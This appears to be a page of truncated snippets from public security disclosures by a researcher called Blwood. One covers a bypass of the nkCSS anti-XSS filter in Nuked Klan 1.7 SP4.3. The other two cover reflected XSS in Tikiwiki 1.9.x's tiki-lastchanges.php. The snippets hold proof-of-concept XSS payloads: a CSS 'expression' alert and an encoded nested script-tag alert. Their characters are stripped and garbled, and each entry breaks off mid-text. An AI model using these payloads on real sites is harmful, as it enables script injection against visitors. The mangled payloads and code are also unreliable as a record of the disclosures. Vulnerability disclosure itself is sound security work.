Nuked Klan 1.7 SP4.3 : Function Anti-XSS Bypassed

// - BEGIN - // By Blwood // http://blwood.net http://blwood.net/ We can bypassed the function anti-xss called nkCSS nuked.php using like this : b id="blwood" style="width:expressionalert' http://www.blwood.net' http://www.blwood.net272929/"/b Here is the function : function nkCSS$str if $str != ...

[Full-disclosure] Multiple XSS Vulnerabilities in Tikiwiki 1.9.x

Multiple XSS Vulnerabilities in Tikiwiki 1.9.x Discovered by Blwood http://www.blwood.net http://www.blwood.net/ Public ------------- Tiki-lastchanges http://www.site.com/ http://www.site.com http://127.0.0.1/tikiwiki1.9.3.1/tikiwiki-1.9.3.1/tiki-lastchanges.php?...

Multiple XSS Vulnerabilities in Tikiwiki 1.9.x

Multiple XSS Vulnerabilities in Tikiwiki 1.9.x Discovered by Blwood http://www.blwood.net Public ------------- Tiki-lastchanges http://www.site.com/tiki-lastchanges.php?days=3&offset=223E3Cscr3Cscript3Eipt3Ealert'Blwood'3C/scr3C/script3Eipt3E...